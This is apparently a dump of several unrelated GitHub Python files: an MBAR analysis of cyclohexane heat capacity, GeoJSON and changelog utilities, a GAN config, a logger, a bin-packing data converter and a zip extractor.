print( \"Recomputing energies of cyclohexane in vacuum\") #%(len(state_coords))\n print( \"starting energy evaluation\")\n D = OrderedDict()\n for i,val in enumerate(state_coords):\n D['State' + ' ' + str(i)] = [[\"[#6X4:1]\",param_types[j],val[j]] for j in range(len(param_types))]#len(state_orig))]\n D_mol = {'cyclohexane' : D}\n\n # Return energies from native parameter state to use as timeseries to subsample\n energies_vac, u_vac = new_param_energy_vac(all_xyz_vac[ii], D_mol, T = 293.15)\n #energies_vac_294, u_vac_294 = new_param_energy_vac(all_xyz_vac[ii], D_mol, T = 294.15)\n #energies_vac_292, u_vac_292 = new_param_energy_vac(all_xyz_vac[ii], D_mol, T = 292.15)\n #print np.shape(u_vac)\n\n ts_vac_subc,N_k_vac_sub,xyz_vac_sub,ind_vac_subs = subsampletimeseries([energies_vac],[all_xyz_vac[ii]],[len(all_xyz_vac[ii])])\n\n######################################################################################### WORKS^^\n# Define new parameter states we wish to evaluate energies at\n\neps_vals = np.linspace(float(argv[1]),float(argv[2]),3)\nrmin_vals = np.linspace(float(argv[3]),float(argv[4]),3)\neps_vals = [str(a) for a in eps_vals]\nrmin_vals = [str(a) for a in rmin_vals]\nnew_states = list(product(eps_vals,rmin_vals))\n\norig_state = ('0.1094','1.9080')\n\nN_eff_list = []\nparam_type_list = []\nparam_val_list = []\n\n#new_state = [str(more_array[index+1])]\nstate_coords = []\nstate_coords.append(orig_state)\n#state_coords.append(new_state)\nfor i in new_states:\n state_coords.append(i)\nprint( state_coords)\n #A_expectations = [[] for a in state_coords]\n #A_var_expectations = [[] for a in state_coords]\n #A_var_alt_expectations = [[] for a in state_coords]\n #dA_expectations = [[] for a in state_coords]\n #dA_var_expectations = [[] for a in state_coords]\n\nfor ii,value in enumerate(xyz_sub):\n MBAR_moves = state_coords\n print( \"Number of MBAR calculations for liquid cyclohexane: %s\" %(len(MBAR_moves)))\n print( \"starting MBAR calculations\")\n D = OrderedDict()\n for i,val in enumerate(MBAR_moves):\n D['State' + ' ' + str(i)] = [[\"[#6X4:1]\",param_types[j],val[j]] for j in range(len(param_types))]#len(state_orig))]\n D_mol = {'cyclohexane' : D} \n \n # Produce the u_kn matrix for MBAR based on the subsampled configurations\n E_kn, u_kn = new_param_energy(xyz_sub[ii], D_mol, pdb.topology, vecs_sub, T = 293.15)\n E_kn_292, u_kn_292 = new_param_energy(xyz_sub[ii], D_mol, pdb.topology, vecs_sub, T = 292.15)\n E_kn_294, u_kn_294 = new_param_energy(xyz_sub[ii], D_mol, pdb.topology, vecs_sub, T = 294.15)\n \n K,N = np.shape(u_kn)\n \n N_k = np.zeros(K)\n N_k[0] = N\n \n #implement bootstrapping to get variance of Cp estimate\n N_eff_boots = []\n u_kn_boots = []\n V_boots = []\n dV_boots =[]\n Cp_boots = []\n dCp_boots = []\n nBoots_work = 200\n for n in range(nBoots_work):\n for k in range(len(N_k_sub)):\n if N_k_sub[k] > 0:\n if (n == 0):\n booti = np.array(range(N_k_sub[k]),int)\n else:\n booti = np.random.randint(N_k_sub[k], size = N_k_sub[k])\n \n E_kn_boot = E_kn[:,booti] \n u_kn_boot = u_kn[:,booti]\n \n u_kn_boots.append(u_kn)\n \n # Initialize MBAR with Newton-Raphson\n # Use Adaptive Method (Both Newton-Raphson and Self-Consistent, testing which is better)\n ######################################################################################## \n initial_f_k = None # start from zero\n mbar = mb.MBAR(u_kn_boot, N_k, verbose=False, relative_tolerance=1e-12,initial_f_k=initial_f_k)\n \n N_eff = mbar.computeEffectiveSampleNumber(verbose=True)\n \n N_eff_boots.append(N_eff)\n #N_eff_list.append(N_eff[1])\n #param_type_list.append(param_types)\n #param_val_list.append(MBAR_moves)\n\n (E_expect, dE_expect) = mbar.computeExpectations(E_kn_boot,state_dependent = True)\n #(E2_expect, dE2_expect) = mbar.computeExpectations(E_kn**2,state_dependent = True)\n (Vol_expect,dVol_expect) = mbar.computeExpectations(vol_sub,state_dependent = False)\n \n # Convert Box volumes to molar volumes\n Vol_expect = Vol_expect*N_Av*1.e-24 / N_part\n dVol_expect = dVol_expect*N_Av*1.e-24 / N_part\n\n V_boots.append(Vol_expect)\n dV_boots.append(dVol_expect)\n \n (H_expect,dH_expect) = mbar.computeExpectations(H_sub,state_dependent = False)\n \n E_fluc_input = np.array([(E_kn[i][:] - E_expect[i])**2 for i in range(len(E_expect))])\n (E_fluc_expect, dE_fluc_expect) = mbar.computeExpectations(E_fluc_input,state_dependent = True)\n \n C_p_expect_meth2 = E_fluc_expect/(kB * T**2)\n dC_p_expect_meth2 = dE_fluc_expect/(kB * T**2)\n\n Cp_boots.append(C_p_expect_meth2)\n dCp_boots.append(dC_p_expect_meth2)\n \n u_kn = u_kn_boots[0]\n N_eff = N_eff_boots[0]\n Vol_expect = V_boots[0]\n dVol_expect = dV_boots[0]\n C_p_expect_meth2 = Cp_boots[0]\n dC_p_expect_meth2 = dCp_boots[0]\n \n Cp_boots_vt = np.vstack(Cp_boots)\n V_boots_vt = np.vstack(V_boots)\n\n C_p_bootstrap = [np.mean(Cp_boots_vt[:,a]) for a in range(np.shape(Cp_boots_vt)[1])] #Mean of Cp calculated with bootstrapping\n dC_p_bootstrap = [np.std(Cp_boots_vt[:,a])/float(len(Cp_boots_vt[:,a])) for a in range(np.shape(Cp_boots_vt)[1])] #Standard error of Cp from bootstrap\n Vol_bootstrap = [np.mean(V_boots_vt[:,a]) for a in range(np.shape(V_boots_vt)[1])] #Mean of Cp calculated with bootstrapping\n dVol_bootstrap = [np.std(V_boots_vt[:,a])/float(len(V_boots_vt[:,a])) for a in range(np.shape(V_boots_vt)[1])] #Standard error of Cp from bootstrap \n\n\n\n print( \"Number of MBAR calculations for cyclohexane in vacuum: %s\" %(len(MBAR_moves)))\n print( \"starting MBAR calculations\")\n D = OrderedDict()\n for i,val in enumerate(MBAR_moves):\n D['State' + ' ' + str(i)] = [[\"[#6X4:1]\",param_types[j],val[j]] for j in range(len(param_types))]#len(state_orig))]\n D_mol = {'cyclohexane' : D}\n\n # Produce the u_kn matrix for MBAR based on the subsampled configurations\n E_kn_vac, u_kn_vac = new_param_energy_vac(xyz_vac_sub[ii], D_mol, T = 293.15)\n E_kn_vac_292, u_kn_vac_292 = new_param_energy_vac(xyz_vac_sub[ii], D_mol, T = 292.15)\n E_kn_vac_294, u_kn_vac_294 = new_param_energy_vac(xyz_vac_sub[ii], D_mol, T = 294.15)\n\n K_vac,N_vac = np.shape(u_kn_vac)\n\n N_k_vac = np.zeros(K_vac)\n N_k_vac[0] = N_vac\n\n N_eff_vac_boots = []\n u_kn_vac_boots = []\n Cp_vac_boots = []\n dCp_vac_boots = []\n nBoots_work = 200\n for n in range(nBoots_work):\n for k in range(len(N_k_vac_sub)):\n if N_k_vac_sub[k] > 0:\n if (n == 0):\n booti = np.array(range(N_k_vac_sub[k]),int)\n else:\n booti = np.random.randint(N_k_vac_sub[k], size = N_k_vac_sub[k])\n\n E_kn_vac = E_kn_vac[:,booti]\n u_kn_vac = u_kn_vac[:,booti]\n \n u_kn_vac_boots.append(u_kn_vac) \n # Initialize MBAR with Newton-Raphson\n # Use Adaptive Method (Both Newton-Raphson and Self-Consistent, testing which is better)\n ########################################################################################\n initial_f_k = None # start from zero\n mbar_vac = mb.MBAR(u_kn_vac, N_k_vac, verbose=False, relative_tolerance=1e-12,initial_f_k=initial_f_k)\n\n N_eff_vac = mbar_vac.computeEffectiveSampleNumber(verbose=True)\n \n N_eff_vac_boots.append(N_eff_vac) \n\n (E_vac_expect, dE_vac_expect) = mbar_vac.computeExpectations(E_kn_vac,state_dependent = True)\n \n E_vac_fluc_input = np.array([(E_kn_vac[i][:] - E_vac_expect[i])**2 for i in range(len(E_vac_expect))])\n (E_vac_fluc_expect, dE_vac_fluc_expect) = mbar_vac.computeExpectations(E_vac_fluc_input,state_dependent = True)\n\n C_p_vac_expect_meth2 = E_vac_fluc_expect/(kB * T**2)\n dC_p_vac_expect_meth2 = dE_vac_fluc_expect/(kB * T**2)\n \n Cp_vac_boots.append(C_p_vac_expect_meth2)\n dCp_vac_boots.append(C_p_vac_expect_meth2)\n\n u_kn_vac = u_kn_vac_boots[0]\n N_eff_vac = N_eff_vac_boots[0]\n C_p_vac_expect_meth2 = Cp_vac_boots[0]\n dC_p_vac_expect_meth2 = dCp_vac_boots[0]\n\n Cp_vac_boots_vt = np.vstack(Cp_vac_boots) \n\n C_p_vac_bootstrap = [np.mean(Cp_vac_boots_vt[:,a]) for a in range(np.shape(Cp_boots_vt)[1])] #Mean of Cp calculated with bootstrapping\n dC_p_vac_bootstrap = [np.std(Cp_vac_boots_vt[:,a])/float(len(Cp_boots_vt[:,a])) for a in range(np.shape(Cp_boots_vt)[1])] #Standard error of Cp from bootstrap\n #######################################################################################\n # Calculate residual heat capacity\n #######################################################################################\n C_p_res_expect = [bulk - gas for bulk,gas in zip(C_p_expect_meth2, C_p_vac_expect_meth2)]\n dC_p_res_expect = [np.sqrt(bulk**2 + gas**2) for bulk,gas in zip(dC_p_expect_meth2, dC_p_vac_expect_meth2)]\n \n C_p_res_bootstrap = [bulk - gas for bulk,gas in zip(C_p_bootstrap, C_p_vac_bootstrap)]\n dC_p_res_bootstrap = [np.sqrt(bulk**2 + gas**2) for bulk,gas in zip(dC_p_bootstrap, dC_p_vac_bootstrap)]\n\n df = pd.DataFrame(\n {'param_value': MBAR_moves,\n 'Vol_expect (mL/mol)': Vol_expect,\n 'dVol_expect (mL/mol)': dVol_expect,\n 'C_p_res_expect (J/mol/K)': C_p_res_expect,\n 'dC_p_res_expect (J/mol/K)': dC_p_res_expect,\n 'Vol_bootstrap (mL/mol)': Vol_bootstrap,\n 'dVol_bootstrap (mL/mol)': dVol_bootstrap,\n 'C_p_res_bootstrap (J/mol/K)': C_p_res_bootstrap,\n 'dC_p_res_bootstrap (J/mol/K)': dC_p_res_bootstrap,\n 'N_eff': N_eff\n })\n df.to_csv('MBAR_estimates_[6X4:1]_eps'+argv[1]+'-'+argv[2]+'_rmin'+argv[3]+'-'+argv[4]+'_2.csv',sep=';')\n \n with open('param_states2.pkl', 'wb') as f:\n pickle.dump(MBAR_moves, f)\n with open('u_kn_bulk2.pkl', 'wb') as f:\n pickle.dump(u_kn, f)\n with open('u_kn_vac2.pkl', 'wb') as f:\n pickle.dump(u_kn_vac, f)\n\n\"\"\"\nfiles = nc.glob('MBAR_estimates_*2.csv')\n\neps_values = []\nrmin_values = []\nVol_expect = []\ndVol_expect = []\nC_p_expect = []\ndC_p_expect = []\nVol_boot = []\ndVol_boot = []\nC_p_boot = []\ndC_p_boot = []\nN_eff = []\n\nfor i in files:\n df = pd.read_csv(i,sep=';')\n print(i,df.columns)\n new_cols = ['eps_vals', 'rmin_vals']\n df[new_cols] = df['param_value'].str[1:-1].str.split(',', expand=True).astype(str)\n \n df['eps_vals'] = df.eps_vals.apply(lambda x: x.replace(\"'\",\"\"))\n df['rmin_vals'] = df.rmin_vals.apply(lambda x: x.replace(\"'\",\"\"))\n \n df['eps_vals'] = df.eps_vals.apply(lambda x: float(x))\n df['rmin_vals'] = df.rmin_vals.apply(lambda x: float(x))\n \n eps_temp = df.eps_vals.values.tolist()\n rmin_temp = df.rmin_vals.values.tolist()\n Vol_temp = df['Vol_expect (mL/mol)'].values.tolist()\n dVol_temp = df['dVol_expect (mL/mol)'].values.tolist()\n Cp_temp = df['C_p_res_expect (J/mol/K)'].values.tolist()\n dCp_temp = df['dC_p_res_expect (J/mol/K)'].values.tolist()\n Vol_boot_temp = df['Vol_bootstrap (mL/mol)'].values.tolist()\n dVol_boot_temp = df['dVol_bootstrap (mL/mol)'].values.tolist()\n Cp_boot_temp = df['C_p_res_bootstrap (J/mol/K)'].values.tolist()\n dCp_boot_temp = df['dC_p_res_bootstrap (J/mol/K)'].values.tolist()\n Neff_temp = df.N_eff.values.tolist()\n\n for i in eps_temp:\n eps_values.append(i)\n for i in rmin_temp:\n rmin_values.append(i)\n for i in Vol_temp:\n Vol_expect.append(i)\n for i in dVol_temp:\n dVol_expect.append(i)\n for i in Cp_temp:\n C_p_expect.append(i)\n for i in dCp_temp:\n dC_p_expect.append(i)\n for i in Vol_boot_temp:\n Vol_boot.append(i)\n for i in dVol_boot_temp:\n dVol_boot.append(i)\n for i in Cp_boot_temp:\n C_p_boot.append(i)\n for i in dCp_boot_temp:\n dC_p_boot.append(i)\n for i in Neff_temp:\n N_eff.append(i)\nprint(len(eps_values),len(rmin_values),len(C_p_expect),len(dVol_boot),len(N_eff))\ndf2 = pd.DataFrame(\n {'epsilon values': eps_values,\n 'rmin_half values': rmin_values,\n 'Vol_expect (mL/mol)': Vol_expect,\n 'dVol_expect (mL/mol)': dVol_expect,\n 'C_p_res_expect (J/mol/K)': C_p_expect,\n 'dC_p_res_expect (J/mol/K)': dC_p_expect,\n 'Vol_bootstrap (mL/mol)': Vol_boot,\n 'dVol_bootstrap (mL/mol)': dVol_boot,\n 'C_p_res_bootstrap (J/mol/K)': C_p_boot,\n 'dC_p_res_bootstrap (J/mol/K)': dC_p_boot,\n 'N_eff': N_eff\n })\ndf2.to_csv('MBAR_estimates_[6X4:1]_eps_0.1022-0.1157_rmin_half_1.8870-1.9260_total.csv',sep=';')\n\"\"\"\n\"\"\"\nfiles = nc.glob('*_cont.nc')\nfile_strings = [i.rsplit('_',1)[0] for i in files]\nfile_str = set(file_strings)\n\nfile_tups_traj = [[i+'.nc',i+'_cont.nc'] for i in file_str]\n\nfile_tups_sd = [[i+'.csv',i+'_cont.csv'] for i in file_str]\nparams = [i.rsplit('.',1)[0].rsplit('_') for i in files]\nparams = [[i[3][7:],i[5][4:]] for i in params]\nMMcyc = 0.08416 #kg/mol\n\nstates_traj = [[] for i in file_tups_traj]\nstates_sd = [[] for i in file_tups_sd]\nxyz_orig = [[] for i in file_tups_traj]\nvol_orig = [[] for i in file_tups_traj]\nlens_orig = [[] for i in file_tups_traj]\nangs_orig = [[] for i in file_tups_traj]\nener_orig = [[] for i in file_tups_sd]\ndens_orig = [[] for i in file_tups_sd]\nvecs_orig = [[] for i in file_tups_sd]\nburnin = 1800\n\nprint 'Analyzing Cyclohexane neat liquid trajectories'\nfor j,i in enumerate(file_tups_traj):\n #print 'Analyzing trajectory %s of %s'%(j+1,len(file_tups_traj)+1)\n for ii in i:\n try:\n data, xyz, lens, angs = read_traj(ii,burnin)\n #set_trace()\n except IndexError:\n print \"The trajectory had fewer than %s frames\" %(burnin)\n continue\n for m,n in zip(lens,angs):\n vecs = md.utils.lengths_and_angles_to_box_vectors(float(m[0]),float(m[1]),float(m[2]),float(n[0]),float(n[1]),float(n[2]))\n vecs_orig[j].append(vecs)\n for pos in xyz:\n xyz_orig[j].append(pos)\n for l in lens:\n vol_orig[j].append(np.prod(l)) #A**3\n lens_orig[j].append(l)\n for ang in angs:\n angs_orig[j].append(ang)\n states_traj[j].append(i[0].rsplit('.',1)[0])\n\nprint [np.average(i) for i in vol_orig]\n#print Vol_expect\nener2_orig = [[] for i in file_tups_sd]\nfor j,i in enumerate(file_tups_sd):\n try:\n datasets = [pd.read_csv(ii,sep=',')[burnin:] for ii in i]\n merged = pd.concat(datasets)\n except IndexError:\n print \"The state data record had fewer than 250 frames\"\n for e in merged[\"Potential Energy (kJ/mole)\"]:\n ener_orig[j].append(e)\n ener2_orig[j].append(e**2)\n for dens in merged[\"Density (g/mL)\"]:\n dens_orig[j].append(dens)\n states_sd[j].append(i[0].rsplit('.',1)[0])\n\n#print ener_orig\n\nprint [(np.average(j) - np.average(i)**2)/(kB * T**2) for j,i in zip(ener2_orig,ener_orig)]\nprint [np.average((i - np.average(i))**2)/(kB * T**2) for i in ener_orig]\nprint C_p_expect_meth1\nprint C_p_expect_meth2\n\"\"\"\n","repo_name":"bmanubay/MultiFidelity_Bayes","sub_path":"scripts/analyze_sim_vol_hvap.py","file_name":"analyze_sim_vol_hvap.py","file_ext":"py","file_size_in_byte":36970,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"}
+{"seq_id":"74468757692","text":"class Variable:\n def __init__(self, id, x, y, initDomain):\n self.id = id\n self.xPos = x\n self.yPos = y\n self.constraints = {}\n self.colorid = None\n self.domain = initDomain\n\n def __str__(self):\n s = 'ID:' + str(self.id) + ' ColorID:' + str(self.colorid) + ' Domain:' + str(self.domain)\n return s","repo_name":"DayNoone/IT3105-AI_Programming","sub_path":"Project_1/Module_2/variable.py","file_name":"variable.py","file_ext":"py","file_size_in_byte":357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"38266965513","text":"from shapely import geometry\n\n\ndef aoi_json_to_shapely(geojson_dict, crs_transformer):\n \"\"\"Load geojson as shapely polygon\n\n Returns list of shapely polygons for geojson uri or None if\n uri doesn't exist\n \"\"\"\n aoi_shapely = aoi_geojson_to_shapely_polygons(geojson_dict,\n crs_transformer)\n return aoi_shapely\n\n\ndef aoi_geojson_to_shapely_polygons(geojson_dict, crs_transformer):\n \"\"\"Get list of shapely polygons from geojson dict\n\n Args:\n geojson_dict: dict in GeoJSON format with class_id property for each\n polygon\n crs_transformer: CRSTransformer used to convert from map to pixel\n coords\n\n Returns:\n list of shapely.geometry.Polygon\n \"\"\"\n if not geojson_dict:\n return None\n\n features = geojson_dict['features']\n polygons = []\n\n for feature in features:\n json_polygons = []\n # Convert polygon to pixel coords.\n geom_type = feature['geometry']['type']\n coordinates = feature['geometry']['coordinates']\n if geom_type == 'MultiPolygon':\n for polygon in coordinates:\n shell = polygon[0]\n json_polygons.append(\n [crs_transformer.map_to_pixel(p) for p in shell])\n elif geom_type == 'Polygon':\n shell = coordinates[0]\n json_polygons.append(\n [crs_transformer.map_to_pixel(p) for p in shell])\n else:\n raise Exception('Geometries of type {} are not supported in AOIs'\n .format(geom_type))\n\n for json_polygon in json_polygons:\n polygon = geometry.Polygon([(p[0], p[1]) for p in json_polygon])\n # Trick to handle self-intersecting polygons which otherwise cause an\n # error.\n polygon = polygon.buffer(0)\n polygons.append(polygon)\n\n return polygons\n","repo_name":"naf140230/raster-vision","sub_path":"rastervision/utils/geojson.py","file_name":"geojson.py","file_ext":"py","file_size_in_byte":1929,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"78"}
+{"seq_id":"72154158972","text":"import datetime\nimport os.path\nimport tempfile\nimport unittest\n\nimport yaclog\nfrom tests.common import log, log_segments, log_text\nfrom yaclog.changelog import VersionEntry\n\n\nclass TestParser(unittest.TestCase):\n\n @classmethod\n def setUpClass(cls):\n with tempfile.TemporaryDirectory() as td:\n cls.path = os.path.join(td, 'changelog.md')\n with open(cls.path, 'w') as fd:\n fd.write(log_text)\n cls.log = yaclog.read(cls.path)\n\n def test_path(self):\n \"\"\"Test the log's path\"\"\"\n self.assertEqual(self.path, self.log.path)\n\n def test_preamble(self):\n \"\"\"Test the preamble at the top of the file\"\"\"\n self.assertEqual(log.preamble, self.log.preamble)\n\n def test_links(self):\n \"\"\"Test the links at the end of the file\"\"\"\n self.assertEqual({'fullversion': 'http://endless.horse', **log.links}, self.log.links)\n\n def test_versions(self):\n \"\"\"Test the version headers\"\"\"\n for i in range(len(self.log.versions)):\n self.assertEqual(log.versions[i].name, self.log.versions[i].name)\n self.assertEqual(log.versions[i].link, self.log.versions[i].link)\n self.assertEqual(log.versions[i].date, self.log.versions[i].date)\n self.assertEqual(log.versions[i].tags, self.log.versions[i].tags)\n\n def test_entries(self):\n \"\"\"Test the change entries\"\"\"\n self.assertEqual(log.versions[0].sections, self.log.versions[0].sections)\n\n\nclass TestWriter(unittest.TestCase):\n\n @classmethod\n def setUpClass(cls):\n with tempfile.TemporaryDirectory() as td:\n cls.path = os.path.join(td, 'changelog.md')\n log.write(cls.path)\n with open(cls.path) as fd:\n cls.log_text = fd.read()\n cls.log_segments = [line.lstrip('\\n') for line in cls.log_text.split('\\n\\n') if line]\n\n def test_preamble(self):\n \"\"\"Test the header information at the top of the file\"\"\"\n self.assertEqual(log_segments[0:2], self.log_segments[0:2])\n\n def test_links(self):\n \"\"\"Test the links at the end of the file\"\"\"\n self.assertEqual(\n {'[fullversion]: http://endless.horse', '[id]: http://www.koalastothemax.com'},\n set(self.log_segments[16:18]))\n\n def test_versions(self):\n \"\"\"Test the version headers\"\"\"\n self.assertEqual('## [Tests]', self.log_segments[2])\n self.assertEqual('## [FullVersion] - 1969-07-20 [TAG1] [TAG2]', self.log_segments[14])\n self.assertEqual('## Long Version Name', self.log_segments[15])\n\n def test_entries(self):\n \"\"\"Test the change entries\"\"\"\n self.assertEqual(log_segments[3], self.log_segments[3])\n self.assertEqual('### Bullet Points', self.log_segments[4])\n self.assertEqual(log_segments[5], self.log_segments[5])\n self.assertEqual('### Blocks', self.log_segments[6])\n self.assertEqual(log_segments[7:14], self.log_segments[7:14])\n\n\nclass TestVersionEntry(unittest.TestCase):\n def test_header_name(self):\n \"\"\"Test reading version names from headers\"\"\"\n headers = {\n 'short': ('## Test', 'Test'),\n 'with dash': ('## Test - ', 'Test'),\n 'multi word': ('## Very long version name 1.0.0', 'Very long version name 1.0.0'),\n 'with brackets': ('## [Test]', '[Test]'),\n }\n\n for c, t in headers.items():\n h = t[0]\n with self.subTest(c, h=h):\n version = VersionEntry.from_header(h)\n self.assertEqual(version.name, t[1])\n self.assertEqual(version.tags, [])\n self.assertIsNone(version.date)\n self.assertIsNone(version.link)\n self.assertIsNone(version.link_id)\n\n def test_header_tags(self):\n \"\"\"Test reading version tags from headers\"\"\"\n headers = {\n 'no dash': ('## Test [Foo] [Bar]', 'Test', ['FOO', 'BAR']),\n 'with dash': ('## Test - [Foo] [Bar]', 'Test', ['FOO', 'BAR']),\n 'with brackets': ('## [Test] [Foo] [Bar]', '[Test]', ['FOO', 'BAR']),\n 'with brackets & dash': ('## [Test] - [Foo] [Bar]', '[Test]', ['FOO', 'BAR']),\n }\n\n for c, t in headers.items():\n h = t[0]\n with self.subTest(c, h=h):\n version = VersionEntry.from_header(h)\n self.assertEqual(version.name, t[1])\n self.assertEqual(version.tags, t[2])\n self.assertIsNone(version.date)\n self.assertIsNone(version.link)\n self.assertIsNone(version.link_id)\n\n def test_header_date(self):\n \"\"\"Test reading version dates from headers\"\"\"\n\n headers = {\n 'no dash': ('## Test 1961-04-12', 'Test',\n datetime.date.fromisoformat('1961-04-12'), []),\n 'with dash': ('## Test 1969-07-20', 'Test',\n datetime.date.fromisoformat('1969-07-20'), []),\n 'two dates': ('## 1981-07-20 1988-11-15', '1981-07-20',\n datetime.date.fromisoformat('1988-11-15'), []),\n 'single date': ('## 2020-05-30', '2020-05-30', None, []),\n 'with tags': ('## 1.0.0 - 2021-04-19 [Foo] [Bar]', '1.0.0',\n datetime.date.fromisoformat('2021-04-19'), ['FOO', 'BAR']),\n }\n\n for c, t in headers.items():\n h = t[0]\n with self.subTest(c, h=h):\n version = VersionEntry.from_header(h)\n self.assertEqual(version.name, t[1])\n self.assertEqual(version.date, t[2])\n self.assertEqual(version.tags, t[3])\n self.assertIsNone(version.link)\n self.assertIsNone(version.link_id)\n\n def test_header_noncompliant(self):\n \"\"\"Test reading version that dont fit the schema, and should just be read as literals\"\"\"\n\n headers = {\n 'no space between tags': 'Test [Foo][Bar]',\n 'text at end': 'Test [Foo] [Bar] Test',\n 'invalid date': 'Test - 9999-99-99',\n }\n\n for c, h in headers.items():\n with self.subTest(c, h=h):\n version = VersionEntry.from_header('## ' + h)\n self.assertEqual(version.name, h)\n self.assertEqual(version.tags, [])\n self.assertIsNone(version.date)\n self.assertIsNone(version.link)\n self.assertIsNone(version.link_id)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"drewcassidy/yaclog","sub_path":"tests/test_changelog.py","file_name":"test_changelog.py","file_ext":"py","file_size_in_byte":6548,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"}
+{"seq_id":"39467058035","text":"import lupa\nimport albumentations as A\nfrom albumentations.pytorch import ToTensorV2\nimport torch\n\nlua = lupa.LuaRuntime(unpack_returned_tuples=True)\nlua.execute(\"dofile('config.lua')\")\n\nLEARNING_RATE = lua.globals().LEARNING_RATE\nBATCH_SIZE = lua.globals().BATCH_SIZE\nIMAGE_SIZE = lua.globals().IMAGE_SIZE\nNUM_WORKERS = lua.globals().NUM_WORKERS\nCHANNELS_IMG = lua.globals().CHANNELS_IMG\nL1_LAMBDA = lua.globals().L1_LAMBDA\nNUM_EPOCHS = lua.globals().NUM_EPOCHS\nLOAD_MODEL = lua.globals().LOAD_MODEL\nSAVE_MODEL = lua.globals().SAVE_MODEL\nCHECKPOINT_DISC = lua.globals().CHECKPOINT_DISC\nCHECKPOINT_GEN = lua.globals().CHECKPOINT_GEN\nDEVICE = lua.globals().DEVICE\nTRAIN_DIR = lua.globals().TRAIN_DIR\nVAL_DIR = lua.globals().VAL_DIR\n\nboth_transform = A.Compose(\n [A.Resize(width=256, height=256),], additional_targets={\"image0\": \"image\"},is_check_shapes=False,\n)\n\ntransform_only_input = A.Compose(\n [\n A.HorizontalFlip(p=0.5),\n A.ColorJitter(p=0.2),\n A.Normalize(mean=[0.5, 0.5, 0.5], std=[\n 0.5, 0.5, 0.5], max_pixel_value=255.0,),\n ToTensorV2(),\n ]\n)\n\ntransform_only_mask = A.Compose(\n [\n A.Normalize(mean=[0.5, 0.5, 0.5], std=[\n 0.5, 0.5, 0.5], max_pixel_value=255.0,),\n ToTensorV2(),\n ]\n)\n","repo_name":"Nish60220110anth/Pix2Pix","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"74758711613","text":"import logging\nimport sys\n\nalert_logger = None\nstandard_logger = None\n\n\ndef get_alert_logger() -> logging.Logger:\n global alert_logger\n if alert_logger is None:\n alert_logger = logging.getLogger(\"monitapi.alert\")\n for handler in alert_logger.handlers:\n alert_logger.removeHandler(handler)\n\n handler = logging.StreamHandler(sys.stderr)\n\n FORMAT = '%(asctime)s %(levelname)s [%(name)s] [%(threadName)s] %(message)s'\n handler.setFormatter(logging.Formatter(FORMAT))\n alert_logger.addHandler(handler)\n alert_logger.propagate = False\n return alert_logger\n\n\ndef get_logger() -> logging.Logger:\n global standard_logger\n if standard_logger is None:\n standard_logger = logging.getLogger(\"monitapi\")\n for handler in standard_logger.handlers:\n standard_logger.removeHandler(handler)\n\n handler = logging.StreamHandler(sys.stderr)\n\n FORMAT = '%(asctime)s %(levelname)s [%(name)s] [%(threadName)s] %(message)s'\n handler.setFormatter(logging.Formatter(FORMAT))\n standard_logger.addHandler(handler)\n standard_logger.setLevel(logging.INFO)\n standard_logger.propagate = False\n return standard_logger\n","repo_name":"fealone/monitapi","sub_path":"src/monitapi/libs/logging.py","file_name":"logging.py","file_ext":"py","file_size_in_byte":1167,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"78"}
+{"seq_id":"17776684064","text":"import os \nos.chdir('data/Falkenauer_CSP/Falkenauer_T')\nimport glob\nimport pandas as pd\nimport numpy as np\n\n# Files are in format called CSP\n# First line is the number of items\n# Second line is the capacity of the bins\n# Next lines are the weights and demands of the items\n\nBIN_CAPACITY = 1000\n\nfor i in [60, 120, 249, 501]:\n df_merged = pd.DataFrame()\n for file in glob.glob(\"*\" + str(i) + \"*.txt\"):\n # Add to pandas dataframe\n df = pd.read_csv(file, sep=\"\\t\", header=None, skiprows=2)\n df.columns = [\"core\", \"nb_instances\"]\n df[\"memory\"] = 0\n df[\"inter_degree\"] = 0\n df[\"inter_aff\"] = [[] for i in range(len(df))]\n # Rename index\n df.index = df.index + 1\n # Change index name\n df.index.name = \"app_id\"\n # Change order of columns\n df = df[[\"nb_instances\", \"core\", \"memory\", \"inter_degree\", \"inter_aff\"]]\n # Merge with files with the same name start\n df_merged = pd.concat([df_merged, df], axis=0)\n # Reset index\n df_merged.reset_index(inplace=True)\n # Drop \"app_id\" column\n df_merged.drop([\"app_id\"], axis=1, inplace=True)\n # Rename index\n df_merged.index = df_merged.index + 1\n # Change index name\n df_merged.index.name = \"app_id\"\n # Save to csv\n df_merged.to_csv(\"Falkenauer_T_\" + str(i) + \".csv\", sep=\"\\t\")\n\n\n","repo_name":"mrjrozycki/Hybrids","sub_path":"data/Falkenauer_CSP/redo_merged.py","file_name":"redo_merged.py","file_ext":"py","file_size_in_byte":1347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"21076641559","text":"from zipfile import ZipFile\n\n# Caminho do seu arquivo .zip #\nfilePath = 'myfile.zip'\n\n# Abre o arquivo em modo de leitura para extrair #\nwith ZipFile(filePath, 'r') as zip:\n zip.printdir()\n\n # Extrai os arquivos #\n zip.extractall()","repo_name":"pycodebr/extrair-zip","sub_path":"extrair.py","file_name":"extrair.py","file_ext":"py","file_size_in_byte":240,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"}
